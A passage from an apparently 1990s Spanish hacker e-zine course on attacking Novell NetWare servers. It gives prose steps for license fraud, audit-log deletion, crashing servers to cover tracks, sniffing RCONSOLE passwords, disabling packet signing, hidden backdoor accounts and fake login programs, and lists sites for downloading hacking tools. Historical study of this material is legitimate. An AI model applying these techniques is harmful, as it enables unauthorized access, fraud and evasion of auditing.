- Si FRED es on psicopata, puede borrar la cuenta de Admin y volver las

  gestion del arbol imposible.

 

 

06-15 Cual es el nuevo cammino para conseguir SYS:_NETWARE ?

 

Utilizando JCMD.NLM (lo puedes conseguir en algunos sitios de FTP de la

seccion 09), es posible acceder a SYS:_NETWARE y hacer muchas cosas, como

copiar NDS, etc.. Pero lo que me han preguntado varios hackers es un camino

para acceder a este directorio SIN subir un NLM via RCONSOLE.

 

Este es el medio.

 

Arrancando con el software Green River beta, NETBASIC.NLM de HiTecSoft

(actualmente en el SYS:NETBASIC).

HiTecSoft es realmente fuerte, permite algunas sofisticadas cosas que han

sido desarrolladas en un ambiente tipo Visual Basic, incluyendo NLM sin

usar compiler ni linker de Watcom.

 

Cuando cargas NETBASIC.NLM, teclea "shell" y te encontraras en un ambiente

tipo DOS. Es todavia un NLM, pero el "commands" incluye comandos tipo DOS

como CD, DIR, COPY, etc. En fin, el truco es simplemente "CD _NETWARE"

y....bingo !. A este punto puedes hacer toda clase de cosas. Recuerda,

todavia puedes usar JCMD.NLM, pero el punto es que es tipo "built in"

 

Cosas divertidas que puedes hacer :

 

- Hacer copias de toda clase de archivos, incluyendo licencias, NDS, login

  scripts, archivos audit,...

- Copiar estos archivos en SYS:LOGIN y pudes copiarlos fuera.

- Copiar fuera el archivo de licencias (MLS.000) y jugar con un editor

  hexadecimal. Recopiar el archivo modificado y llamarlo MLS.001 y has

  doblado las licencias disponibles (ten un cuenta que es ilegal).

- Modificar login scripts para diversion, provecho y ganar derechos extras.

- Juega con los archivos auditing, incluso borrando NET$AUDT.CAF y archivos

  con extension de .$AF en caso de que auditor olvidara el password.

 

Gracias a los miembros de SIC( Hardware, Cyberius y Jungman) por descubrir

el agujero de NETBASIC.

 

 

 

Septimo capitulo sobre Novell Netware

 

Capitulo - 07 INFORMACION DIVERSA EN NETWARE

 

 

07-1 Porque no puedo acceder a traves de un server 3.x otra red via TCP/IP

 

Cargando TCPIP.NLM en un server con dos tarjetas, no significa que los

paquetes puedan enviarse de una tarjeta a otra. Para que el reenvio funcione,

el archivo AUTOEXEC.NCF deberia tener la linea siguiente :

 

LOAD TCPIP FORWARD=YES

 

Para que los paquetes circulen a traves del server, tienes que poner la

opcion "gateway=aa.bb.cc.dd" en la estacion de trabajo. Asi abres el camina

hacia el server. Si estas escribiendo herramientas hach, tenlo presente si

utilizas IP.

Algunos routers antiguos puede que no reconozcan el server Netware como

router, por tanto puede que no tengas muchas opciones si tu objetivo esta al

otro lado de una de estos routers. Los servidores mas modernos son Netware

aware y encontraran ttu server como router a traves de RIP.

 

Netware 3.11 IP solo trabajara entre dos subnets diferentes. Proxi ARP no

esta soportado en Netware IP.

 

Ejemplo :

 

123.45.6 & 123.45.7 con una mascara de ff.ff.ff.00 Transmitira

123.45.6 & 231.45.7 con una mascara de ff.ff.ff.00 NO transmitira

 

No pierdas el tiempo intentando cruzar rios no vadeables. Algunos admin

utilizan esto para limitar el flujo del trafico IP.

 

 

07-2 Como bootear mi server sin correr STARTUP.NCF / AUTOEXEC.NCF

 

Para Netware 3.xx, utiliza los comandos :

SERVER -NS (para evitar STARTUP.NCF)

SERVER -NA (para evitar AUTOEXEC.NCF)

 

Netware 2.x no tiene los archivos START.NCF y AUTOEXEC.NCF. En su lugar tiene

toda la informacion en codigo fuente en NET$OS.EXE, por tanto tienes que

reconstruirlo para cambiar algo.

 

 

07-3 Como hacer login sin correr el System Login Script

 

A menudo un admin intentara evitar que los usuarios utilicen directamente

el DOS y se salgan del System Login Script para poderlos controlar. He aqui

algunos caminos para evitarlo :

 

- Utiliza ATTACH en lugar de LOGIN para conectarse a un server. ATTACH no

  lanza el login script, como lo hace LOGIN. ATTACH tiene que copiarse en

  el disco local o ponerse en el SYS:LOGIN.

 

- Utiliza la opcion /S para LOGIN. Usando "LOGIN /S NUL "

  provocara que LOGIN cargue el dispositivo NUL que siempre se compartara

  como un archivo vacio.

 

 

07-4 Como rebootear un server Netware 3.x a distancia.

 

Si tienes acceso a un server via RCONSOLE puedes hacerlo despues de cargar o

descargar un NLM para rebootear un server. Construye un archivo NCF siguiendo

las etapas siguientes :

 

- Crea un archivo llamado DOWNBOY.NCF en tu disco local. Puede ser un archivo

  texto y contener las lineas siguientes :

 

REMOVE DOS

DOWN

EXIT

 

- Copia el srchivo en el directorio SYS:SYSTEM utilizando RCONSOLE.

- En la consola, teclea DOWNBOY y enter.

 

pasa los iguiente :

 

- El comando REMOVE DOS libera la seccion DOS en la RAM del server.

- DOWN....para el server (si hay archivos abiertos, saldra el tipico mensaje

  "are you sure", contesta Y, o sea si...). EXIT intenta retornar la consola

  del server al DOS. Pero como tu has liberado el DOS de la RAM, el server

  se bootea en caliente.

 

 

07-5 Como se puede parar un server Netware y porque.

 

Respondere a la segunda pregunta primero. Quieres chequear como

admministrador como se recupera tu server despues de un crash. O puede que

seas un hacker y quieras cubrir tus rastros de una forma dramatica. despues

de todo, si has estado editando los archivos log y tienen un aspecto

sospechoso, un buen crash puede explicar porque tienen este aspecto los log.

 

Segun itsme :

 

- Netware 4.1 : teclea 512 caracteres en la consola + NENTER ==> crash

- Netware 3.11 : NCP request 0x17-subfn 0xeb con un numero de conexion

  superior a la admitida (hacen falta los API).

 

Si tienes acceso a la consola :

 

- Teclea UNLOAD RENDIRFX

- Utiliza una copia local de SYS:PUBLIC/RENDIR.EXE

- En SYS:LOGIN teclea RENDIR

  (no es necesario login, solo conexion con el server)

 

 

07-6 Que es Netware NFS y que tan seguro es.

 

NFS (Networked File System) se usaba originalmente en UNIX para montar a

distancia un sistema de archivos diferentes. El objetivo original en Netware

es el permitir al server montar un sistema de archivos Unix como un volumen

Netware permitiendo a los usuarios Netware acceder a los datos Unix sin

correr IP o hacer login en el server, y a los usuarios Unix montar un volumen

Netware como un sistema remoto de archivos. Si los derechos estan asignados

incorrectamente puedes acceder al server.

 

Mientras el producto trabaja como se describe, es un poco dificil de

administrar, las cuentas de los usuarios en ambos lados deben sincronizarse

(nombre y password) y puede ser un poco dificil asegurar que asi es, a no ser

que las versiones sean Netware NFS 2.1 o superior con Netware 4.x y el lado

UNIX no corre NIS.

Simplemente a~adiendo el UID correcto al objeto NDS para crear una relacion

de derechos en ambos sentidos. Hay tres sistemas...Unix es Dios. Netware es

Dios, o ambos son equivalentes.

 

Un problema conocido con Netware NFS es que despues de descargar y cargar

utilizando los archivos NCFn un sistema monta desde el lado UNIX includes

SYS:ETC con acceso de solo lectura. Si aste directorio puede bloquearse

desde el lado Unix despues de montarlo NCF y CFG pueden verse y explotarse

su informacion.

 

Por ejemplo, SYS:ETC es un sitio donde se puede encontrar LDREMOTE.NCF, que

puede contener el password de RCONSOLE.

 

En Netware 3.11 si pides el mapeador para manejar NFS, te lo dara. Cuando

le das el NFS al archivo manejador, chequeara el mapeador LOCAL y te dara

la informacion. Puedes entonces leer cualquier archivo en el montado

anteriormente.

 

La existencia de Netware NFS en un server te concede ventanas UNIX en algunos

sitios, que puedes ser otro interesante metodo para lograr el acceso al

sistema.

 

 

07-7 Puede "sniffing packets" ayudarte a entrar ?

 

Si. Si un usuario se conecta y la password se transmite sin encriptar, lo

podras ver en puro y duro tecto en la traza. Si el server utiliza telnet y

ftp, capturar el password es facil. Para entrar en diversos sistemas, muchos

usuarios utilizan la misma password o variantes. Para obtener una lista de

diversos sniffers, buscad en "alt.2600/#hack". Lo podeis encontrar con

cualquier buscador potente de la red.

 

RCONSOLE.EXE es la aplicacion cliente que ofrece acceso remoto a la consola

del server Novell. La conexion entre el cliente y la consola del server

permite al admin manejar al server como si estubiera fisicamente delante

del teclado, y permite virtualmente cualquier accion, incluyendo cargar

archivos al server y cargar y descargar Netware Loaddable Modules (NLMs).

No es solo una efectiva herramienta de administrador, sino tambien el primer

objetivo de los hackers.

 

Un punto critico de acceso de muchos server es fisicamente el teclado. Es una

de las razones por las cuales el acceso fisico a los teclados es tan

importante.

 

La principal razon para hackear RCONSOLE es para tener acceso a la consola.

No, no estar fisicamente, pero el OS no ve la diferencia. Y la principal

razon para tener acceso a la consola es para utilizar alguna herramienta

que nos permita ganar privilegios de supervisor.

 

Durante el proceso de RCONSOLE, el password viaja encriptado. Si tu espias

la conversacion, veras los paquetes que contienen la apertura de RCONSOLE,

los posibles server que se puede acceder, etc. Esta conversacion se realiza

en paquetes NCP.

 

cuando se arranca RCONSOLE, el usuario elige el server, teclea enter y se le

pregunta el password. Una vez se introduce la password, la conversacion

contiene dos paquetes IPX/SPX de 60 byte seguidos de 4 paquetes NCP de 64

bytes, 60 bytes, 64 bytes y 310 bytes. El siguiente paquete IPX/SPX de 186

bytes, contiene el password. Se encuentra en el offset 3Ah, que es facil de

encontrar. El offset 38h siempre es FE y el 39h siemppre es FF.

 

Ahora es el momento de utilizar una herramienta llamada RCON.EXE de itsme,

que te puede dar alguna infromacion de los datos recogidos y ayudarte a

conseguir el password. Todo lo que necesitas son los 8 bytes hex que empiezan

en el offset 3Ah, la direccion de la network y la del nodo.

 

Ahora la direccion de network y nodo estan en la cabecedera de los paquetes

que contienen la password. Estos datos tambien se pueden obtener mediante el

comando USERLIST /A. Entonces, por que percisamente los 8 hex primeros bytes?

Esto es lo que hace Novell. No es un esuqema muy complicado.

 

 

07-8 Otras cosas que puede dar el sniffing.

 

Hemos se~alado que RCONSOLE envia las pantallas en texto a traves de la red

para que todos lo puedan veer (bien... todos los que esten mirando...).

Esto significa que puedes ver que estan tecleando y que esta pasando en la

pantalla. Normalmente no hay grandes cosas que mirar, pero ocasionalmente

puedes ver algunas joyas. La mejor de todas ? la password de RCONSOLE.

 

La primera sesion de RCONSOLE subira a la pantalla con las lineas LOAD

REMOTE y LOAD RSPX PASSWORD (siendo PASSWORD la password de RCONSOLE), y esto

se envia a los usuarios de RCONSOLE en texto.

 

Teiwaz descibrio que SYCON envia los cambios de password en texto. Mientras

que SETPASS, LOGIN, MAP y ATTACH encriptan el password en 3.x, SYSCON no lo

hace.

 

Recordad que sniffing muestra tambien los password de TELNET, FTP, POP3 y

otros. A menudo los usuarios utilizan la misma password de sistema en

sistema, por tanto estos password pueden usarse para probar otras cuentas.

 

En redes grandes, los administradores de Netware puedn tener la misma

password para cuentas privilegiadas de otros sistemas, por tanto la cuenta de

admin o supervisor pueden utilizarse para la cuenta de un Unix. Por tanto una

sesion TELNET que contiene una password puedde revelar la password de admin.

 

 

07-9 Como funciona la encriptacion de passsword.

 

De itsme.

 

1.-La Estacion de Trabajo (ET) requiere una llave de sesion del server

   (NCP-17-17)

2.-El server envia una llave de 8 bytte a la ET.

3.-La ET encripta la password con la identificacion del usuario, este valor

   en 116 byte es lo que se almacena en el bindery del server.

4.-La estacion de trabajo encripta este valor de 16 bytes con la llave de

   sesion de 8 byte, el cual se envia al server.

   (NCP-17-18=login), (NCP-17-4a=verify), (NCP-17-4b=change pw)

5.-El server realiza la misma encriptacion y compara su resultado con el que

   recibe de la ET.

 

La informacion contenida en los archivos NET$*.OLD que se pueden encontrar

en el directorio de sistema despues de lanzar el bindfix, es suficiente

conectarse al server con cualquier objeto.

 

 

07-10 Productos que ayudan a mejorar la seguridad de Netware

 

Mientras que hay un numero de productos, comercial y de publico dominio que

tienen diversas caracteristicas de seguridad, los siguientes productos o son

realmente buenos o tienen caracteristicas unicas.

 

Hay un producto comercial llamado SmartPass, que corre como un NLM. Una vez

instalado, puedes cargar y analizar password existentes para detectar puntos

debiles. Una demo free puede obtenerse en la direccion :

 

http://www.egsoftware.com

 

SmartPass chequeara password al vuelo, por tanto un usuario puede ser forzado

a usar un diccionario de palabras para una password.

 

Otro producto comercial que chequeara de un diccionario de palabras si una

password esta en la lista es Binview NCS. La version bindery es

horrorosamente lenta, pero completamente precisa. Requiere acceso supe.

Bindview puede producir un cierto numero de informes, incluyendo informes

parametrizados para darte toda clase de informacion acerca del server y de

su contenido. El nuevo Bindview NDS es incluso mejor. Lanzado como un NLM

el chequeo de password es rapido dando el nombre de las cuentas que utilizan

passwords debiles. Puede hacer cientos de chequeos versus algunos/segundo de

la version bindery. Puedes utilizar la version lenta si quieres, pero solo

para los que gustan de la tortura.

 

Las posibilidades de reporting son fabulosas y a partir del momento que

pueden parametrizarse, el admin puede tener informes de seguridad a medida.

 

Para mas informacion de Bindview :

 

http://www.bindview.com

 

Para auditar una version 3.x, utiliza AuditTrack. Te dara todos los accesos

de un directorio o archivo individual por usuario , que puede ser util para

saber que estan haciendo. E.G.Software, la empresa desarrolladora, puede

encontrarse en :

 

http://egsoftware.com

 

Intrusion Detection Systems vende un producto llamado Kane Security Analyst.

Es considerado por muchos como el SATAN de Netware. Una de sus abilidades es

localizar objetos ocultos en el DNS. Hay una demo valida 30 dias en :

 

http://www.intrusion.com

 

"SafeWord for Netware Connect" es un NLM que chequea password en un entorno

Netware Connect.

 

http://www.safeword.com/welcom.htm

 

Aqui hay un producto llamado Password Helper que aumenta la seguridad de

cambio de password para 3.x. Es un EX/Server NLM que permite a usuarios

no-supe, resetear passwords.

 

 

07-11 Que es Packet Signature y como evitarlo

 

Packet Signature funciona usando una etapa internedia durante la llamada

de encriptacion del password logon, para calcular una firma de 64-bit. Este

bloque nunca se envia a traves de la red, sino que se usa como base para una

firma segura ("secure hash") en la parte mas importante de cada paquete NCP.

Un paquete firmado se toma como prueba suficiente de que el paquete viene

del PC correcto.

 

NCP Packet Signature es la respuesta de Novell al trabajo realizado por los

muchachos de Holanda en el hacking de Netware. La idea es prevenir paquetes

olvidados y accesos de supervisor no autorizados. Es una opcion en 3.11,

pero viene como parte del sistema con 3.12 y 4.x

 

Los niveles de firma en clientes y servers son los siguientes :

 

0 = Sin firma

1 = Se firman se se requieren

2 = Se firman si tu sistema lo soporta, pero no si el otro no lo soporta.

3 = Siempre se firma.

 

Puedes establecer el mismo nivel en el server. El nivel por defecto es 2 en

server y clientes. Si utilizas una herramienta como HACK.EXE, intenta el

nivel 0 en el cliente a~adiendo :

 

signature level=0

 

en el archivo NET.CFG del cliente. Si el server requiere paquetes firmados

no podran entrar, pero si te deja, hackea a gusto !

 

Si quieres cambiar el nivel en el server, utiliza el siguiente comando :

 

SET NCPPACKET SIGNATURE OPTION=2

 

 

07-12 Hay utilidades Netware con agujeros tipo Unix ?

 

Es una pregunta que se hace a menudo, inspirada en los errores stack overrun,

bugs del sendmail y otros parecidos en el mundo Unix. La razon de que no

tenga este tipo de entradas en las utilidades de Netware es debido a :

 

- Tu utilizas un shell de propiedad que puede cargarse sin acceder al server.

  Por tanto no hay shell a explotar.

- Virtualmente todas las utilidades Netware no usan stdin y stdout, por

  tanto no hay tampoco overruns de stack a explotar.

- Desde el momento que el shell corre de forma local, y no en el server, no

  hay medio para alcanzar mas accesos de los que tienes, parecidos a los

  script SUID en el Unix.

- Desde luego hay utilidades HACK.EXE que permiten accesos extra bajo ciertas

  condiciones en 3.11, pero no en utilidades escritas por Novell.

 

 

07-13 Se puede instalar un backdoor invisible para BINDFIX, e incluso a las

      utilidades de SECURITY ?

 

Rx2 ha escrito algunos programas en Pascal que permite hacer esto, no es

completamente invisible, pero casi. El codigo fuente esta en la seccion

A-08 (proximamente..) y una referencia de BACKDOOR.EXE en el capitulo 09-6

 

Primero de todo, los codigos de Rx2 deben ejecutarse como supe.

Crean un objeto bindery del tipo que quieras.

Los usuarios normales son del tipo 1.

Las impresoras del tipo 3

Los server de impresion del tipo 7

 

Tan pronto como se construye la propiedad PASSWORD, la cuenta es utilizable.

Si mantienes el objeto por debajpp de 200 (Rx2 recomienda 84), BINDFIX y

SECURITY no dara mensajes de alarma. El codigo de Rx2 va mas alla y permite

crear objetos con derechos supe. El LOGIN.EXE normal, solo usa objetos

tipo 1, por tanto tienes que utilizar el programa B_LOGIN.EXE (En anexo A-08)

Como efecto secundario, los objetos tipo 1, no son vistos por USERLIST y

SYSCON.

 

-[ 0x0E ]--------------------------------------------------------------------

-[ CURSO DE NOVELL NETWARE -VIII-, -IX- Y -X- ]------------------------------

-[ by MadFran ]-------------------------------------------------------SET-18-

 

Octavo capitulo sobre Novell Netware

 

Capitulo - 08     NETWARE Y WINDOWS 95

 

 

08-1 Puede provocar problemas Win 95 a un server Netware ?

 

Por defecto Windows 95 se entrega con nombres largos (Long Files Names, LFN)

y con Packet Burst Activate. LFN da problemas .... si el server no entiende

los nombres largos, habran conflictos de archivos y ocasionalmente bloquerara

el server.

 

Pero lo peor es Packet Burst. A menos que tengas como minimo un server 3.11

corriendo PBURST.NLM, con drivers capaces de manejar Packet Burst, el buffer

utilizado para las conexiones network y/o el buffer de la tarjeta de red,

daran problemas, desde esperas largas hasta desconexiones.

 

Hay una serie de cosas que se podrian hacer, desde poner al dia el server

(no es posible para usuarios de 2.x), hasta a¤adir al SYSTEM.INI de las

estaciones clientes la secccion siguiente :

 

[hwredir]

SupportBurst=0

SupportLFN=0

 

 

08-2 ...y problemas a una red Netware ?

 

Si esta configurado el File&Print Sharing y tienes usuarios N0-Win 95, puedes

tener serios problemas de red. Por que ?. He aqui una breve explicacion.

 

El modo en que Netware publica sus archivos e impresoras es via sus propios

(y bien documentados ) Service Advertisng Protocol (SAP). El modo en que se

comunican estos recursos es via paquetes Routing Information Protocol (RIP).

Ambos se transmiten en modo publico. Los servers Netware e incluso los

equipos de red inteligentes que conforman el esquema de protocolos (como

routers) comparte esta informacion dinamicamente. El problema nace cuando

Win 95 es configurado con File&Sharing para Netware, debido a que Win 95

tiene un asqueroso sistema de interactuar con SAP y RIP. Como muchos

especialistas en LAN/WAN diran, los extras SAP rapidamente absorven ancho de

banda, causando demoras y tormentas de comunicacion.

 

Netware 3.x y 4.x tienen patches para esto, pero lo mas facil es simplemente

NO usar File&Print Sharing bajo Win 95....utiliza los servicios standard de

Netware o usa  en su lugar clientes FPS para redes Microsoft.

 

Pueden los hackers aprovecharse de esto ? He aqui un poco de teoria.

 

 - Instala File&Print Sharing para Netware en Windows 95.

 - En una ambiente Netware, hay un numero de red interno y otro externo.

   Win 95 solo te mostrara el externo, y con este nuemro puedes determinar

   cuan lejos estas del servidor.

 - Cuando un usuario normal se conecta, el usuario necesita acceder al server

   mas cercano para encontrar la direccion de su servidor preferido de las

   tablas SSAP y RIP que se encuentran en el server mas cercano. Los routers

   normalmente, solo daran el nombre y direccion del server mas cercano. Esto

   provocara un monton de conexiones al server. Ni siquiera incluir una

   variable PREFERED SERVER en el NET.CFG, ayudara de mucho.

 - Para evitar a los clientes errores de timing out, Microsoft pasa al usuario

   al servidor preferente si el server Win 95 esta configurado con el mismo

   nombre.

 - En teoria se podria crear un directorio \LOGIN y lanzar su propio LOGIN.EXE

   que grabara el password y reenvia al cliente a su server real.

 

Como evitarlo ? Bien, en un ambiente WAN un router puede configurarse para

solo permitir SPs que vengan de ciertos segmentos, donde todos los puestos de

trabajo funcionen bajo Win 95 (probablemente es una solucion Microsoft..)

De todas formas, a pesar de que una docena de personas me han dicho que

se puede hacer, ninguna me ha dicho que lo ha hecho.

 

 

08-3 Problemas con Win 95 y password dde Netware.

 

Windows 95 tiene su propio archivo de password y utiliza este archivo para

almacenar su password y la de los servers Netware y NT. El problema es que el

archivo PWL es facilmente crackeable por brute force, utilizando algunas

programas facilmente encontrables en Internet. Para evitar esto felizmente

existe el Service Pack1 o desconectar el archivo de Passwords.

 

Pero todavia se puede acceder al WIN386.SWP. Ahora, o bien utilizando DiskEdit

de Norton o arrancando desde DOS, puedes acceder al archivo SWP y buscar ahi

la password. Busca la secuencia "nwcs" y la password esta despues.

 

 

08-4 Puede Win 95 by-pasar la seguridad Netware ?

 

No estoy seguro de las condiciones, pero si tu archivo PWL tiene entre 600

bytes y 900 bytes, tu estacion de trabajo se puede conectar sin necesidad de

password. Este bug funciona en Diciembre de 1995.

 

Hay dos formas de explotacion.

 

 - En algunos sistemas generando un archivo grande puedes simplemente

   asegurarte que generas un archivo PWL con el nombre de la cuenta objetivo

   y arrancar con este archivo PWL.

 - Simplemente conseguir el PWL de un PC desatendido y arrancar usandola.

 

 

 

Noveno capitulo sobre Novell Netware

 

Capitulo - 09  RECURSOS

 

 

09-1. Algunos sitios para hacer FTP

 

Hay mucha informacion extraible de FAQs. No los he probado todos y no puedo

asegurar que funcionen. Bien... pero para empezar....

 

FTP oficiales de Novell:

 

ftp.novell.com                                   137.65.2.108

ftp.novell.de                                    193.97.127.37

 

Mirrors de Novell:

 

netlab2.usu.edu                                  129.123.1.44 (el mejor)

ftp.rug.nl              /networks/novell/updates 129.125.4.14

tui.lincoln.ac.nz       /                        138.75.90.4

 

Other Misc. Sites:

 

splicer2.cba.hawaii.edu /                        128.171.17.2

risc.ua.edu             /pub/network/netwire     130.160.4.7

                        /pub/network/pegasus

                        /pub/network/misc

                        /pub/network/tcpip

wuarchive.wustl.edu     /systems/novell          128.252.135.4

ftp.uni-kl.de           /pub/novell              131.246.94.94

netlab.usu.edu          /novell                  129.123.1.11

                        /netwatch

chaos.cc.ncsu.edu       /pc/novell               152.1.10.23

                        /pc/utils

                        /pc/email

                        /pc/nlm

                        /pc/manage

sodapop.cc.LaTech.edu   /pub/novell/specials     138.47.22.47

ftp.safe.net            /pub/safetynet/          199.171.27.2

ftp.best.com            /pub/almcepud/hacks      206.86.8.11

ftp.infonexus.com       /pub/ToolsOfTheTrade/Netware

                                                 207.171.209.35

biomed.engr.LaTech.edu  /sys/pub/ecl/specials    138.47.15.1

ftp.iag.net             /pub/clipper/            204.27.210.69

 

 

09-2. Algunos WWW de Novell

 

http://www.novell.com/                                  Novell en Provo

http://www.novell.de/                                   Novell en Europa

http://www.salford.ac.uk/ais/Network/Novell-Faq.html    Novell@listserv.syr.edu

http://mft.ucs.ed.ac.uk/                                Edinburg Tech Library*

http://www.efs.mq.edu.au/novell/faq                     comp.sys.novell FAQ

http://occam.sjf.novell.com:8080                        Manuales Online

http://www.safe.net/safety                              Security Company

http://www.users.mis.net/~gregmi/                       Muy bueno!

http://www.rad.kumc.edu/share/novell/apps/              Buena coleccion de

                                                        herramientas

http://www.cis.ohio-state.edu/hypertext/faq/usenet/netware/security/faq.html

                                                                                     comp.os.netware.security FAQ

http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/   Sniffers

 

 

09-3. Foros de debate Netware USENET

 

Especificos Netware :

 

                comp.os.netware.misc (grupo principal)

                comp.os.netware.announce (moderada)

                comp.os.netware.security (sobre seguridad)

                comp.os.netware.connectivity (conectividad LAN Workplace)

 

Seguridad, H/P en general:

 

                alt.2600

                alt.security

                comp.security.announce

                comp.security.misc

 

 

09-4. Listas de distribucion Netware

 

*  NOVELL@listserv.syr.edu - envia un email sin subject a

listserv@listserv.syr.edu con "subscribe NOVELL Your Full Name" en el

cuerpo del mensaje.

Recibiras un mensaje al que tienes que responder en dos dias, sino no te

incluiran en la lista.

 

Greg Miller ha lanzado una lista de seguridad.

Para suscribirte:

 

subscribe nw-hack

 

a majordomo@dav-48.anthro.ufl.edu. Esta lista es para DETALLADAS discusiones

de seguridad Netware. Como nota interesante, el server es un Netware

3.x con Mercury mail.

 

Hay como minimo otras 17 listas activas que tratan de Netware

Pueden encontrarse en NOVELL@listserv.syr.edu.

 

 

09-5. Y FAQs de Netware ?

 

El mas completo es el de NOVELL@LISTSERV.SYR.EDU, disponible en muchos sitios

 

 

                ftp://netlab2.usu.edu/misc/faq.txt

 

                http://netlab1.usu.edu/novell.faq/nov-faq.htm

                 

Stanley Toney publica una bi-semanal Netware Patches y Updates FAQ en

comp.os.netware.announce. Tambien disponible en

ftp://ftp.nsm.smcm.edu/pub/novell/patchfaq.zip.

 

Marcus Williamson tiene una FAQ exclusiva para Netware 4:

http://ourworld.compuserve.com/homepages/marcus_williamson/

 

No olvidar alt.2600/#hack FAQ como fuente generica de

hacking/phreaking, disponible en rtfm.mit.edu.

 

 

09-6. Donde encontrarlos ?

 

FTP:

 

SETSPWD.NLM  - netlab2.usu.edu     /misc

SETSPASS.NLM - netlab2.usu.edu     /misc

CONLOG.NLM   - netlab2.usu.edu     /misc

USERLST.EXE  - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip

LASTHOPE.NLM - ml0.ucs.ed.ac.uk    /guest/pc/novell/nlms lasthope.zip

X-AWAY.EXE   - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils  x-away.zip

GRPLIST.EXE  - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip

GETEQUIV.EXE - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip

TRSTLIST.EXE - ml0.ucs.ed.ac.uk    /guest/pc/novell/utils jrb212a.zip

SECUREFX.NLM - www.novell.com      Search for it in the Tech Section

SMARTPASS    - ftp.efs.mq.edu.au   /pub/novell             smrtpw.zip

 

WWW:

 

BACKDOOR.EXE - http://www.worldaccess.nl/~mk77

BINDERY.EXE  - http://www.nmrc.org/files/netware/bindery.zip

SETPWD.NLM   - http://www.nmrc.org/files/netware/setpwd.zip

NOVELBFH.EXE - http://www.nmrc.org/files/netware/novelbfh.zip

KNOCK.EXE    - http://www.nmrc.org/files/netware/knock.zip

LOGIN.EXE    - http://www.nmrc.org/files/netware/nwl.zip

PROP.EXE     - http://www.nmrc.org/files/netware/nwl.zip

CHKNULL.EXE  - http://www.nmrc.org/files/netware/chknull.zip

NW-HACK.EXE  - http://www.nmrc.org/files/netware/nw-hack.zip

SUPER.EXE    - http://www.nmrc.org/files/netware/super.zip

RCON.EXE     - http://www.nmrc.org/files/netware/rcon.zip

 

Tambien en ftp.infonexus.com,.... buen sitio para hackers.

 

 

 

Decimo capitulo sobre Novell Netware

 

Capitulo - 10  LAS API DE NETWARE

 

 

10-1. Donde y como conseguir los API de Netware

 

En EEUU, llama al 1-800-RED-WORD, cuesta $50 e incluye dos licencias usuario

de Netware 4.1 Funciona con diversas compiladores, pero si quieres escribir

NLMs necesitaras el ultimo Watcon. Es el unico que conozco que puede linkar

NLM.

 

 

10-2. Otras alternativas ?

 

Hay diversas.

 

- Visual ManageWare de HitecSoft (602) 970-1025. Este producto permite

  desarrollar NLM y exes DOS mediante una herramienta tipo Visual Basic.

  Royalty-free sin C/C++ ni Watcom, sin embargo incluyen links para

  programas C/C++. El juego completo, incluyendo compiladores, cuesta 895$.

 

- Public Domain Small Men Model Lib.

  Se puede encontrar en :

  FTP://OAK.OAKLAND.EDU/SIMTEL/MSDOS/C/NETCLB30.ZIP

  El autor es Adrian Cunnelly - adrian@amcsoft.demon.co.uk

  Precio : 38 $ - Todas las librerias + Windowss DLL

  110 $ - Lo anterior mas las fuentes.

 

n     Y nunca esta de mas visitar http://www.users.mis.net/~gregmi/

 

-[ 0x0E ]--------------------------------------------------------------------

-[ CURSO DE NOVELL NETWARE -XI-, -XII- Y -XIII- ]----------------------------

-[ by MadFran ]-------------------------------------------------------SET-19-

 

 

Seccion 11

 

Matematicas / Teoria  (.....lo siento)

 

---------------------------------------------------------------------------

 

11-1. Como funciona el conjunto password/login/encriptacion

 

En 3.x y 4.x los password estan encriptados. He aqui la forma en que 3.x

maneja todo esto.

 

1.-Alicia envia una peticion de login al server.

2.-El server mira en el nombre de Alicia y busca su UID. El server genera

   un valor aleatorio R y envia el par(UID,R) a Alicia.

3.-Alicia genera X=hash(UID,password) e Y=hash(R,X). Alicia envia Y al

   server.

4.-El server busca el valor almacenado X'=hash(UID,password) y calcula

   Y'=hash(X',R).

   Si Y=Y', Alicia obtiene el acceso.

5.-Alicia y el server calculan Z=hash(X,R,c) (c es una constante). Z se

   utiliza como llave de la sesion actual

 

Nota : El paso 5 solo es posible si el server y Alicia se ponen de acuerdo

para firmar paquetes.

 

En NetWare 4.x la secuencia de login utiliza un esquema privado/publico

siguiendo RSA:

 

1.-Alicia envia la peticion de login al server.

2.-El server genera un valor R aleatorio y calcula

      X' = hash(UID, password)

      Y' = hash(X', R)

   y envia R a Alicia.

3.-Alicia calcula

      X = hash(UID, password)

      y = hash(X,R)

   Alicia genera un valor R2 aleatorio, busca la llave publica del server

   y envia el par (Y,R2) al server encriptado con la llave publica.

4.-El server desencripta el par (Y,R2), si Y=Y', la password dada por

   Alicia es correcta. El server utiliza la llave privada de Alicia,

   calcula Z = (llave privada Alicia XOR R2) y transmite Z a Alicia.

5.-Alicia calcula llave privada= R2 XOR Z. Esta llave se utiliza para

   firmar los paquetes.

 

Se debe tener en cuenta que NetWare 4.x encripta las llaves privadas de

Alicia RSA con X' que estan almacenadas en el server.

 

---------------------------------------------------------------------------

 

11-2. Posibilidades del ataque "hombre en medio" (man-in-the-middle)

 

En teoria es posible siguiendo el proceso del apartado 11-1.

 

Primero veamos en NetWare 3.x

Este es una variante del ataque "Man-In-The-Middle" (MITM desde ahora)

usado para atacar claves publicas en criptosistemas. Un ataque MITM real

puede funcionar pero para implementarlo la conexion debe interrumpirse y

alguien se puede preguntar que esta pasando.

 

El ataque requiere que Bob (el atacante) sea capaz de enviar paquetes a

el server y a Alicia, mas rapido que el server y Alicia entre ellos. Hay

una serie de formas de plantear el escenario. El mejor es implementar un

ataque MITM a traves de un router o segmentando el cable entre el server

y Alicia.

 

Otro sistema es enlazar dos puntos, uno cercano a Alicia y otro al server.

El mejor sistema para hacerlo es conectar dos hosts juntos en el sitio

especifico. Si cablear no es posible (...lo normal), Bob puede utilizar

tarjetas de red inalambricas o modem conectados en jacks telefonicos

existentes o modem celulares. Si se utilizan modem, el ataque requiere que

Bob tenga el control de ambos ordenadores en la red e incrementara

el tiempo necesario para tomar paquetes de Alicia o del server.

 

Este ataque no funcionara si el server requiere que Alicia firme los

paquetes. La estacion de trabajo de Alicia puede estar configurada para

firmar paquetes y Alicia puede firmar los paquetes haciendo el ataque

muy dificil. Si todos los hosts tienen que firmar los paquetes

tampoco funcionara el ataque.

 

Esto es debido a que Bob nunca conocera la password de Alicia, ni

